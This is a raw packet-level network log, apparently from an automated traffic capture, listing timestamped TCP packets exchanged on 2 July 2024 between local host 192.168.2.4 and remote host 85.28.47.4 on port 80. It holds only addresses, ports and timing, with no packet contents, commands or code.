Jul 2, 2024 15:26:01.493943930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.493963003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.493992090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.494004011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507144928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507179022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507189989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507231951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507272959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507612944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507635117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507648945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507669926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507702112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507713079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507723093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507740021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507750034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507751942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507767916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507797003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507817984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507854939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507865906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507889032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507900000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507901907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507922888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507924080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507935047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507939100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507956982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507966042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.507966995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507987976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.507998943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508006096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508029938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508039951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508183002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508194923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508210897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508222103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508230925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508240938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508250952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508251905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508279085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508281946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508291006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508306026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508310080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508321047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508327007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508337021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508342028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508356094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508358002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.508375883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.508394003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.509342909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.509366989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.509381056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.509397984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.509422064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.509475946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.509486914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.509505033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.509516954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.509526968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.509548903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.509556055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.509561062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.509588003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.509613991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.576905012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.576920033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.576944113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.576956987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.576970100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.576986074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577047110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577111959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577202082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577213049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577229023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577246904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577256918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577256918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577274084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577279091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577291965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577302933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577302933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577327013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577328920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577341080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577362061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577362061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577392101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577392101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577404022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577425957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577426910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577435970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577438116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577466965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577490091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577526093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577538013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577553988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577563047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577565908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577581882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577591896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577617884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577704906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577748060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577795029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577807903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577835083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577846050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577856064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577874899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577891111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577897072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577919960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577929974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577934027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577943087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577965975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.577974081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.577992916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.578011036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.582422018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582432985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582449913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582462072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582484961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582498074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582509995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.582515001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582559109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.582715988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582726955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582742929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582771063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582772970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.582782984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582793951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.582803011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582823038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582824945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.582838058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582850933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582860947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.582878113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.582894087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582902908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.582933903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.582947016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582963943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582983971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.582995892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583014011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583025932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583221912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583231926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583250999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583271980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583293915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583314896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583327055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583343983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583360910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583369017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583384991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583385944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583405018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583411932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583415985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583436012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583451033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583452940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583470106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583487034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583496094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583502054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583534002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583558083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583563089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583575010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.583607912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.583622932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.596513987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596623898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596632957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596648932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596659899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596673012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596683025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.596683025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.596690893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596699953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.596707106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596724033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596734047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596755981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.596771002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.596837044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596848011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596864939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596873999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.596887112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.596910954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.596967936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597012043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597084045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597095966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597130060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597141027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597151041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597167969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597187042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597198009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597203970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597208977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597233057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597242117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597243071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597258091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597280979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597311020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597321033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597338915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597348928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597354889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597369909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597392082 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597424030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597426891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597435951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597453117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597461939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597474098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597512007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597537041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597579002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597604036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597615957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597634077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597645998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597678900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597707987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597718000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597733974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597743988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597753048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597763062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597774029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597806931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.597981930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.597992897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.598010063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.598017931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.598037958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.598077059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.666316032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.666328907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.666348934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.666435957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.666446924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.666477919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.666477919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.666588068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.666836023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.666908979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667027950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667078018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667531013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667563915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667587996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667591095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667607069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667629004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667711020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667721987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667740107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667752028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667756081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667772055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667789936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667838097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667850018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667866945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667876959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667887926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667896986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667912006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667916059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667931080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667932987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667951107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667960882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667967081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667974949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.667985916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.667993069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.668013096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.668036938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.668050051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.668086052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.668095112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.668096066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.668131113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.668144941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.669197083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.669209957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.669225931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.669249058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.669276953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.669926882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.669982910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.670212984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.670265913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.670344114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.670391083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.670624971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.670672894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.670810938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.670860052 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.673413992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.673428059 CEST	80	49730	85.28.47.4	192.168.2.4
